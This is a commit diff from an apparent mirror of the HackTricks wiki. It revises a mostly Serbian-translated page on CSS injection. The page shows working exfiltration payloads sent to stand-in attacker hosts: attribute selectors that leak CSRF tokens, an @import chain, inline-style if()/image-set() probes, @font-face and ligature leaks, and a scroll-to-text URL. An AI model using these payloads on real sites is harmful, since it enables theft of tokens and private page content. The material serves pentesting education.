mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']
This commit is contained in:
parent
9656fc54d4
commit
b7be398441
@ -6,7 +6,7 @@
|
||||
|
||||
### Attribute Selector
|
||||
|
||||
CSS selektori su napravljeni da odgovaraju vrednostima atributa `name` i `value` elementa `input`. Ako atribut vrednosti elementa za unos počinje sa određenim karakterom, učitava se unapred definisani spoljašnji resurs:
|
||||
CSS selektori su napisani da odgovaraju vrednostima atributa `name` i `value` elementa `input`. Ako atribut `value` elementa `input` počinje određenim karakterom, učitava se unapred definisan eksterni resurs:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
|
||||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Međutim, ovaj pristup se suočava sa ograničenjem kada se radi o skrivenim ulaznim elementima (`type="hidden"`) jer skriveni elementi ne učitavaju pozadine.
|
||||
Međutim, ovaj pristup ima ograničenje kada se radi o skrivenim input elementima (`type="hidden"`) jer skriveni elementi ne učitavaju pozadine.
|
||||
|
||||
#### Zaobilaženje za skrivene elemente
|
||||
#### Zaobilaženje za skrivenim elementima
|
||||
|
||||
Da biste zaobišli ovo ograničenje, možete ciljati sledeći element brata koristeći `~` general sibling combinator. CSS pravilo se zatim primenjuje na sve braće koja slede skriveni ulazni element, uzrokujući učitavanje pozadinske slike:
|
||||
Da biste zaobišli ovo ograničenje, možete ciljati naredni sibling element koristeći `~` general sibling combinator. CSS pravilo se potom primenjuje na sve elemente koji slede nakon skrivenog input elementa, što dovodi do učitavanja pozadinske slike:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
Praktičan primer iskorišćavanja ove tehnike detaljno je opisan u datom kodu. Možete ga pogledati [ovde](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
|
||||
#### Preduslovi za CSS Injekciju
|
||||
#### Preduslovi za CSS Injection
|
||||
|
||||
Da bi tehnika CSS injekcije bila efikasna, moraju biti ispunjeni određeni uslovi:
|
||||
Da bi CSS Injection bio efikasan, moraju biti ispunjeni sledeći uslovi:
|
||||
|
||||
1. **Dužina Payload-a**: Vektor CSS injekcije mora podržavati dovoljno duge payload-ove da bi se prilagodili kreiranim selektorima.
|
||||
2. **Ponovna Evaluacija CSS-a**: Trebalo bi da imate mogućnost da uokvirite stranicu, što je neophodno za pokretanje ponovne evaluacije CSS-a sa novim generisanim payload-ima.
|
||||
3. **Spoljni Resursi**: Tehnika pretpostavlja mogućnost korišćenja slika hostovanih na spoljnim serverima. Ovo može biti ograničeno politikom bezbednosti sadržaja (CSP) sajta.
|
||||
1. **Payload Length**: CSS injection vector mora podržavati dovoljno duge payloads da primi kreirane selectors.
|
||||
2. **CSS Re-evaluation**: Trebalo bi da imate mogućnost da frame the page, što je neophodno da bi se pokrenulo ponovno evaluiranje CSS-a sa novo generisanim payloads.
|
||||
3. **External Resources**: Tehnika pretpostavlja mogućnost korišćenja eksterno hostovanih slika. Ovo može biti ograničeno Content Security Policy (CSP) sajta.
|
||||
|
||||
### Slepi Selektor Atributa
|
||||
### Blind Attribute Selector
|
||||
|
||||
Kao što je [**objašnjeno u ovom postu**](https://portswigger.net/research/blind-css-exfiltration), moguće je kombinovati selektore **`:has`** i **`:not`** da bi se identifikovao sadržaj čak i iz slepih elemenata. Ovo je veoma korisno kada nemate pojma šta se nalazi unutar web stranice koja učitava CSS injekciju.\
|
||||
Takođe je moguće koristiti te selektore za ekstrakciju informacija iz nekoliko blokova istog tipa kao u:
|
||||
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
|
||||
It's also possible to use those selectors to extract information from several block of the same type like in:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
@ -52,59 +52,95 @@ background: url(/m);
|
||||
<input name="mytoken" value="1337" />
|
||||
<input name="myname" value="gareth" />
|
||||
```
|
||||
Kombinovanjem ovoga sa sledećom **@import** tehnikom, moguće je exfiltrirati mnogo **informacija koristeći CSS injekciju sa slepih stranica uz** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
Kombinovanjem ovoga sa sledećom tehnikom **@import**, moguće je eksfiltrirati veliki broj **informacija koristeći CSS injection sa slepih stranica uz** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
Prethodna tehnika ima neke nedostatke, proverite preduslove. Morate biti u mogućnosti da **pošaljete više linkova žrtvi**, ili morate biti u mogućnosti da **iframe-ujete stranicu ranjivu na CSS injekciju**.
|
||||
Prethodna tehnika ima određene nedostatke — proverite preuslove. Potrebno je ili da možete **poslati više linkova žrtvi**, ili da možete **ubaciti kao iframe stranicu ranjivu na CSS injection**.
|
||||
|
||||
Međutim, postoji još jedna pametna tehnika koja koristi **CSS `@import`** da poboljša kvalitet tehnike.
|
||||
Međutim, postoji još jedna pametna tehnika koja koristi **CSS `@import`** da poboljša efikasnost tehnike.
|
||||
|
||||
Ovo je prvi put prikazano od strane [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) i funkcioniše ovako:
|
||||
Ovo je prvi prikazao [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) i funkcioniše ovako:
|
||||
|
||||
Umesto da učitavamo istu stranicu iznova i iznova sa desetinama različitih payload-a svaki put (kao u prethodnoj), učitaćemo **stranicu samo jednom i samo sa importom na server napadača** (ovo je payload koji treba poslati žrtvi):
|
||||
Umesto da istu stranicu učitavamo iznova sa desetinama različitih payload-a svaki put (kao u prethodnoj metodi), učitaćemo stranicu samo jednom i to sa importom ka napadačevom serveru (ovo je payload koji se šalje žrtvi):
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. Uvoz će **primiti neki CSS skript** od napadača i **pregledač će ga učitati**.
|
||||
2. Prvi deo CSS skripta koji će napadač poslati je **još jedan `@import` na server napadača ponovo.**
|
||||
1. Server napadača neće još odgovoriti na ovaj zahtev, jer želimo da otkrijemo neke karaktere i zatim odgovorimo na ovaj uvoz sa payload-om da otkrijemo sledeće.
|
||||
3. Drugi i veći deo payload-a će biti **payload za curenje atribut selektora**
|
||||
1. Ovo će poslati serveru napadača **prvi karakter tajne i poslednji.**
|
||||
4. Kada server napadača primi **prvi i poslednji karakter tajne**, on će **odgovoriti na uvoz zatražen u koraku 2**.
|
||||
1. Odgovor će biti tačno isti kao u **koracima 2, 3 i 4**, ali će ovaj put pokušati da **pronađe drugi karakter tajne i zatim pretposlednji**.
|
||||
1. Import će **primiti neki CSS script** od napadača i **pregledač će ga učitati**.
|
||||
2. Prvi deo CSS scripta koji napadač pošalje je **još jedan `@import` na server napadača.**
|
||||
1. Server napadača još neće odgovoriti na taj zahtev, jer želimo da leak-ujemo nekoliko karaktera, a zatim odgovorimo na taj import sa payload-om da leak-ujemo sledeće.
|
||||
3. Drugi i veći deo payload-a biće **attribute selector leakage payload**
|
||||
1. Ovo će poslati serveru napadača **prvi karakter tajne i poslednji**
|
||||
4. Kada server napadača primi **prvi i poslednji karakter tajne**, on će **odgovoriti na import zahtevan u koraku 2**.
|
||||
1. Odgovor će biti tačno isti kao **koraci 2, 3 i 4**, ali ovaj put će pokušati da **pronađe drugi karakter tajne i zatim pretposlednji**.
|
||||
|
||||
Napadač će **slediti tu petlju dok ne uspe potpuno da otkrije tajnu**.
|
||||
Napadač će pratiti tu petlju dok ne uspe potpuno da leak-uje tajnu.
|
||||
|
||||
Možete pronaći originalni [**kod Pepe Vile za eksploataciju ovde**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ili možete pronaći skoro [**isti kod ali komentarisani ovde**.](#css-injection)
|
||||
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
|
||||
|
||||
> [!NOTE]
|
||||
> Skript će pokušati da otkrije 2 karaktera svaki put (od početka i od kraja) jer atribut selektor omogućava da se urade stvari kao što su:
|
||||
> [!TIP]
|
||||
> Skripta će pokušavati da otkrije po 2 karaktera svaki put (od početka i od kraja) zato što attribute selector dozvoljava da se uradi nešto kao:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= da se poklapa sa početkom vrednosti*/
|
||||
> /* value^= to match the beggining of the value*/
|
||||
> input[value^="0"] {
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> }
|
||||
>
|
||||
> /* value$= da se poklapa sa krajem vrednosti*/
|
||||
> /* value$= to match the ending of the value*/
|
||||
> input[value$="f"] {
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Ovo omogućava skriptu da brže otkrije tajnu.
|
||||
> Ovo omogućava skripti da brže leak-uje tajnu.
|
||||
|
||||
> [!WARNING]
|
||||
> Ponekad skript **ne detektuje ispravno da je otkriveni prefiks + sufiks već potpuna zastava** i nastaviće napred (u prefiksu) i unazad (u sufiksu) i u nekom trenutku će se zaglaviti.\
|
||||
> Ne brinite, samo proverite **izlaz** jer **možete videti zastavu tamo**.
|
||||
> Ponekad skripta **ne detektuje ispravno da su prefiks + sufiks koji su otkriveni već kompletan flag** i nastaviće da ide napred (u prefiksu) i nazad (u sufiksu) i u nekom trenutku će zastati.\
|
||||
> Bez brige, samo proverite **output** jer **možete videti flag tamo**.
|
||||
|
||||
### Ostali selektori
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
|
||||
Ostali načini za pristup delovima DOM-a sa **CSS selektorima**:
|
||||
Ova primitive omogućava exfiltration koristeći samo inline style atribut elementa, bez selektora ili eksternih stylesheet-a. Oslanja se na CSS custom properties, funkciju attr() za čitanje atributa istog elementa, nove CSS if() uslove za grananje, i image-set() za pokretanje network zahteva koji enkodira poklapanu vrednost.
|
||||
|
||||
> [!WARNING]
|
||||
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
|
||||
|
||||
- Sink: kontrolišite style atribut elementa i osigurajte da je target atribut na istom elementu (attr() reads only same-element attributes).
|
||||
- Read: kopirajte atribut u CSS varijablu: `--val: attr(title)`.
|
||||
- Decide: izaberite URL koristeći ugnježdene conditionals koji porede varijablu sa string kandidatima: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: primenite `background: image-set(var(--steal))` (ili bilo koje fetching svojstvo) da prisilite zahtev ka odabranom endpoint-u.
|
||||
|
||||
Attempt (does not work; single quotes in comparison):
|
||||
```html
|
||||
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
|
||||
```
|
||||
Radni payload (dvostruki navodnici su obavezni u poređenju):
|
||||
```html
|
||||
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
||||
```
|
||||
Enumerisanje vrednosti atributa sa ugnježdenim uslovima:
|
||||
```html
|
||||
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
||||
```
|
||||
Realističan demo (probing usernames):
|
||||
```html
|
||||
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
|
||||
```
|
||||
Notes and limitations:
|
||||
|
||||
- Radi na preglednicima zasnovanim na Chromiumu u vreme istraživanja; ponašanje se može razlikovati na drugim engine-ima.
|
||||
- Najbolje pogodno za konačne/enumerabilne prostore vrednosti (IDs, flags, short usernames). Krađa proizvoljno dugih nizova bez eksternih stylesheet-ova ostaje izazovna.
|
||||
- Bilo koja CSS property koja povlači URL može se koristiti za pokretanje zahteva (npr. background/image-set, border-image, list-style, cursor, content).
|
||||
|
||||
Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### Other selectors
|
||||
|
||||
Drugi načini za pristup delovima DOM-a pomoću **CSS selectors**:
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: Ovo će pretražiti drugi element sa klasom "class-to-search" u DOM-u.
|
||||
- **`:empty`** selektor: Koristi se na primer u [**ovoj analizi**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
- **`:empty`** selector: Koristi se na primer u [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty {
|
||||
@ -112,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### Greška zasnovana XS-Search
|
||||
### Error based XS-Search
|
||||
|
||||
**Reference:** [CSS zasnovan napad: Zloupotreba unicode-range @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Greška-zasnovan XS-Search PoC od @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
Sveukupna namera je da **koristite prilagođenu font sa kontrolisanog krajnjeg tačke** i osigurate da **tekst (u ovom slučaju, 'A') bude prikazan sa ovim fontom samo ako navedeni resurs (`favicon.ico`) ne može biti učitan**.
|
||||
Opšti cilj je da se **koristi custom font sa kontrolisanog endpoint-a** i da se osigura da se **tekst (u ovom slučaju, 'A') prikaže tim fontom samo ako navedeni resurs (`favicon.ico`) ne može da se učita**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -138,49 +174,49 @@ font-family: "poc";
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
1. **Korišćenje prilagođenih fontova**:
|
||||
1. **Korišćenje prilagođenog fonta**:
|
||||
|
||||
- Prilagođeni font se definiše koristeći `@font-face` pravilo unutar `<style>` taga u `<head>` sekciji.
|
||||
- Font se naziva `poc` i preuzima se sa spoljnog krajnjeg tačke (`http://attacker.com/?leak`).
|
||||
- `unicode-range` svojstvo je postavljeno na `U+0041`, cilja specifični Unicode karakter 'A'.
|
||||
- Prilagođeni font je definisan pomoću `@font-face` pravila unutar `<style>` taga u `<head>` sekciji.
|
||||
- Font se zove `poc` i preuzet je sa eksternog endpointa (`http://attacker.com/?leak`).
|
||||
- Svojstvo `unicode-range` je postavljeno na `U+0041`, ciljajući specifičan Unicode karakter 'A'.
|
||||
|
||||
2. **Element objekta sa rezervnim tekstom**:
|
||||
- `<object>` element sa `id="poc0"` je kreiran u `<body>` sekciji. Ovaj element pokušava da učita resurs sa `http://192.168.0.1/favicon.ico`.
|
||||
2. **Object element sa rezervnim tekstom**:
|
||||
- Kreiran je `<object>` element sa `id="poc0"` u `<body>` sekciji. Ovaj element pokušava da učita resurs sa `http://192.168.0.1/favicon.ico`.
|
||||
- `font-family` za ovaj element je postavljen na `'poc'`, kao što je definisano u `<style>` sekciji.
|
||||
- Ako resurs (`favicon.ico`) ne uspe da se učita, rezervni sadržaj (slovo 'A') unutar `<object>` taga se prikazuje.
|
||||
- Rezervni sadržaj ('A') će biti prikazan koristeći prilagođeni font `poc` ako spoljašnji resurs ne može da se učita.
|
||||
- Ako resurs (`favicon.ico`) ne uspe da se učita, rezervni sadržaj (slovo 'A') unutar `<object>` taga će biti prikazan.
|
||||
- Rezervni sadržaj ('A') biće renderovan koristeći prilagođeni font `poc` ako eksterni resurs ne može biti učitan.
|
||||
|
||||
### Stilizovanje Scroll-to-Text Fragmenta
|
||||
### Stilizovanje Scroll-to-text fragmenta
|
||||
|
||||
**`:target`** pseudo-klasa se koristi za selektovanje elementa koji je ciljan od strane **URL fragmenta**, kao što je navedeno u [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Važno je razumeti da `::target-text` ne odgovara nijednom elementu osim ako tekst nije eksplicitno ciljan fragmentom.
|
||||
The **`:target`** pseudo-class se koristi za izbor elementa koji je cilj **URL fragmenta**, kako je navedeno u [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Važno je razumeti da `::target-text` ne odgovara nijednom elementu osim ako tekst nije eksplicitno ciljan fragmentom.
|
||||
|
||||
Bezbednosna zabrinutost se javlja kada napadači koriste **Scroll-to-text** fragment funkciju, omogućavajući im da potvrde prisustvo specifičnog teksta na veb stranici učitavanjem resursa sa svog servera putem HTML injekcije. Metoda uključuje injektovanje CSS pravila poput ovog:
|
||||
Pojavljuje se sigurnosni problem kada napadači iskorišćavaju **Scroll-to-text** fragment feature, što im omogućava da potvrde prisustvo određenog teksta na veb-stranici tako što učitaju resurs sa svog servera putem HTML injection. Metoda uključuje injektovanje CSS pravila kao ovo:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
U takvim scenarijima, ako je tekst "Administrator" prisutan na stranici, resurs `target.png` se zahteva sa servera, što ukazuje na prisustvo teksta. Primer ovog napada može se izvršiti putem posebno kreirane URL adrese koja ugrađuje injektovani CSS zajedno sa fragmentom Scroll-to-text:
|
||||
U takvim scenarijima, ako se na stranici nalazi tekst "Administrator", za resurs `target.png` se šalje zahtev serveru, što ukazuje na prisustvo tog teksta. Primer ovog napada može se izvesti putem posebno konstruisanog URL-a koji ugrađuje injektovani CSS zajedno sa Scroll-to-text fragmentom:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Ovde, napad manipuliše HTML injekcijom kako bi prenio CSS kod, ciljajući na specifičan tekst "Administrator" kroz Scroll-to-text fragment (`#:~:text=Administrator`). Ako se tekst pronađe, navedeni resurs se učitava, nenamerno signalizirajući svoju prisutnost napadaču.
|
||||
Ovde napad manipuliše HTML injection-om da prenese CSS kod, ciljajući na specifičan tekst "Administrator" preko Scroll-to-text fragment (`#:~:text=Administrator`). Ako je taj tekst pronađen, označeni resurs se učitava, nenamerno signalizirajući njegovu prisutnost napadaču.
|
||||
|
||||
Za ublažavanje, sledeće tačke treba imati na umu:
|
||||
Za mitigaciju treba napomenuti sledeće tačke:
|
||||
|
||||
1. **Ograničeno STTF podudaranje**: Scroll-to-text Fragment (STTF) je dizajniran da se podudara samo sa rečima ili rečenicama, čime se ograničava njegova sposobnost da otkrije proizvoljne tajne ili tokene.
|
||||
2. **Ograničenje na kontekste najvišeg nivoa pretraživanja**: STTF funkcioniše isključivo u kontekstima najvišeg nivoa pretraživanja i ne radi unutar iframe-ova, čineći svaki pokušaj eksploatacije uočljivijim za korisnika.
|
||||
3. **Potrebna aktivacija korisnika**: STTF zahteva gest aktivacije korisnika da bi funkcionisao, što znači da su eksploatacije moguće samo kroz navigacije koje inicira korisnik. Ovaj zahtev značajno smanjuje rizik od automatizovanih napada bez interakcije korisnika. Ipak, autor blog posta ukazuje na specifične uslove i zaobilaženja (npr. socijalni inženjering, interakcija sa prevalentnim ekstenzijama pretraživača) koja bi mogla olakšati automatizaciju napada.
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) je dizajniran da se poklapa samo sa rečima ili rečenicama, čime se ograničava njegova sposobnost da leak proizvoljnih tajni ili tokena.
|
||||
2. **Restriction to Top-level Browsing Contexts**: STTF radi isključivo u top-level browsing contexts i ne funkcioniše unutar iframes, što svaki pokušaj eksploatacije čini uočljivijim korisniku.
|
||||
3. **Necessity of User Activation**: STTF zahteva user-activation gesture da bi funkcionisao, što znači da su eksploatacije izvodljive samo preko navigacija iniciranih od strane korisnika. Ovaj zahtev značajno smanjuje rizik da napadi budu automatizovani bez interakcije korisnika. Ipak, autor blog posta ukazuje na specifične uslove i bypass-e (npr. social engineering, interakcija sa široko korišćenim browser extensions) koji mogu olakšati automatizaciju napada.
|
||||
|
||||
Svest o ovim mehanizmima i potencijalnim ranjivostima je ključna za održavanje bezbednosti veba i zaštitu od ovakvih eksploatativnih taktika.
|
||||
Svest o ovim mehanizmima i potencijalnim ranjivostima ključna je za održavanje web bezbednosti i zaštitu od ovakvih eksploatacionih taktika.
|
||||
|
||||
Za više informacija proverite izvorni izveštaj: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
Za više informacija pogledajte originalni izveštaj: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Možete proveriti [**eksploit koristeći ovu tehniku za CTF ovde**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Možete odrediti **spoljašnje fontove za specifične unicode vrednosti** koje će biti **prikupljene samo ako su te unicode vrednosti prisutne** na stranici. Na primer:
|
||||
Možete specificirati **eksterne fontove za određene unicode vrednosti** koji će biti **dohvaćeni samo ako te unicode vrednosti postoje** na stranici. Na primer:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -206,24 +242,24 @@ font-family: poc;
|
||||
<p id="sensitive-information">AB</p>
|
||||
htm
|
||||
```
|
||||
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
|
||||
Kada pristupite ovoj stranici, Chrome and Firefox preuzimaju "?A" i "?B" zato što text node od sensitive-information sadrži "A" i "B" karaktere. Ali Chrome and Firefox ne preuzimaju "?C" jer ne sadrži "C". To znači da smo uspeli da pročitajemo "A" i "B".
|
||||
|
||||
### Ekstrakcija teksta iz čvora (I): ligature <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
**Referenca:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
Tehnika koja je opisana uključuje ekstrakciju teksta iz čvora iskorišćavanjem font ligatura i praćenjem promena u širini. Proces uključuje nekoliko koraka:
|
||||
Tehnika opisana uključuje izvlačenje teksta iz noda iskorišćavanjem font ligatura i praćenjem promena u širini. Proces obuhvata nekoliko koraka:
|
||||
|
||||
1. **Kreiranje prilagođenih fontova**:
|
||||
|
||||
- SVG fontovi se kreiraju sa glifovima koji imaju atribut `horiz-adv-x`, koji postavlja veliku širinu za glif koji predstavlja sekvencu od dva karaktera.
|
||||
- Primer SVG glifa: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, gde "XY" označava sekvencu od dva karaktera.
|
||||
- SVG fontovi se prave sa glyphovima koji imaju atribut `horiz-adv-x`, koji postavlja veliku širinu za glyph koji predstavlja niz od dva karaktera.
|
||||
- Primer SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, gde "XY" označava niz od dva karaktera.
|
||||
- Ovi fontovi se zatim konvertuju u woff format koristeći fontforge.
|
||||
|
||||
2. **Detekcija promena u širini**:
|
||||
2. **Detekcija promena širine**:
|
||||
|
||||
- CSS se koristi da se osigura da tekst ne prelazi u novi red (`white-space: nowrap`) i da se prilagodi stil trake za pomeranje.
|
||||
- Pojava horizontalne trake za pomeranje, stilizovane na poseban način, deluje kao indikator (oracle) da je određena ligatura, a samim tim i određena sekvenca karaktera, prisutna u tekstu.
|
||||
- CSS se koristi da se obezbedi da se tekst ne prelama (`white-space: nowrap`) i da bi se prilagodio stil scrollbar-a.
|
||||
- Pojava horizontalnog scrollbar-a, stilizovanog na specifičan način, deluje kao indikator (oracle) da je određena ligatura, a samim tim i određeni niz karaktera, prisutan u tekstu.
|
||||
- Uključeni CSS:
|
||||
```css
|
||||
body {
|
||||
@ -237,30 +273,30 @@ background: url(http://attacker.com/?leak);
|
||||
}
|
||||
```
|
||||
|
||||
3. **Proces eksploatacije**:
|
||||
3. **Proces exploita**:
|
||||
|
||||
- **Korak 1**: Fontovi se kreiraju za parove karaktera sa značajnom širinom.
|
||||
- **Korak 2**: Koristi se trik sa trakom za pomeranje da se detektuje kada je veliki glif (ligatura za par karaktera) prikazan, što ukazuje na prisustvo sekvence karaktera.
|
||||
- **Korak 3**: Nakon detekcije ligature, generišu se novi glifovi koji predstavljaju sekvence od tri karaktera, uključujući detektovani par i dodajući prethodni ili sledeći karakter.
|
||||
- **Korak 4**: Detekcija tri-karakterne ligature se vrši.
|
||||
- **Korak 5**: Proces se ponavlja, postepeno otkrivajući ceo tekst.
|
||||
- **Korak 1**: Fontovi se kreiraju za parove karaktera sa znatnom širinom.
|
||||
- **Korak 2**: Koristi se trik zasnovan na scrollbar-u da se detektuje kada se renderuje glyph velike širine (ligatura za par karaktera), što ukazuje na prisustvo tog niza karaktera.
|
||||
- **Korak 3**: Po detekciji ligature, generišu se novi glyphovi koji predstavljaju nizove od tri karaktera, uključujući detektovani par i dodajući prethodni ili naredni karakter.
|
||||
- **Korak 4**: Sprovodi se detekcija ligature od tri karaktera.
|
||||
- **Korak 5**: Proces se ponavlja, postupno otkrivajući ceo tekst.
|
||||
|
||||
4. **Optimizacija**:
|
||||
- Trenutna metoda inicijalizacije koristeći `<meta refresh=...` nije optimalna.
|
||||
- Efikasniji pristup mogao bi uključivati CSS `@import` trik, poboljšavajući performanse eksploatacije.
|
||||
- Trenutna metoda inicijalizacije koja koristi `<meta refresh=...` nije optimalna.
|
||||
- Efikasniji pristup bi mogao uključivati CSS `@import` trik, poboljšavajući performanse exploita.
|
||||
|
||||
### Ekstrakcija teksta iz čvora (II): curenje charset-a sa podrazumevanim fontom (ne zahteva spoljne resurse) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
**Referenca:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Ovaj trik je objavljen u ovoj [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Charset korišćen u tekst čvoru može biti otkriven **koristeći podrazumevane fontove** instalirane u pretraživaču: nisu potrebni spoljašnji - ili prilagođeni - fontovi.
|
||||
Ovaj trik je objavljen u ovoj [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Charset koji se koristi u text node može biti leaked **koristeći default fonts** instalirane u browseru: nisu potrebni eksterni -ili prilagođeni- fontovi.
|
||||
|
||||
Koncept se vrti oko korišćenja animacije za postepeno širenje širine `div`-a, omogućavajući jednom karakteru da pređe iz 'sufiksa' dela teksta u 'prefiks' deo. Ovaj proces efikasno deli tekst na dva dela:
|
||||
Koncept se zasniva na korišćenju animacije koja postepeno širi širinu `div`-a, dopuštajući po jednom karakteru da pređe iz 'suffix' dela teksta u 'prefix' deo. Ovaj proces efektivno deli tekst na dve sekcije:
|
||||
|
||||
1. **Prefiks**: Početni red.
|
||||
2. **Sufiks**: Sledeći redovi.
|
||||
1. Prefix: početni red.
|
||||
2. Suffix: naredni red(ovi).
|
||||
|
||||
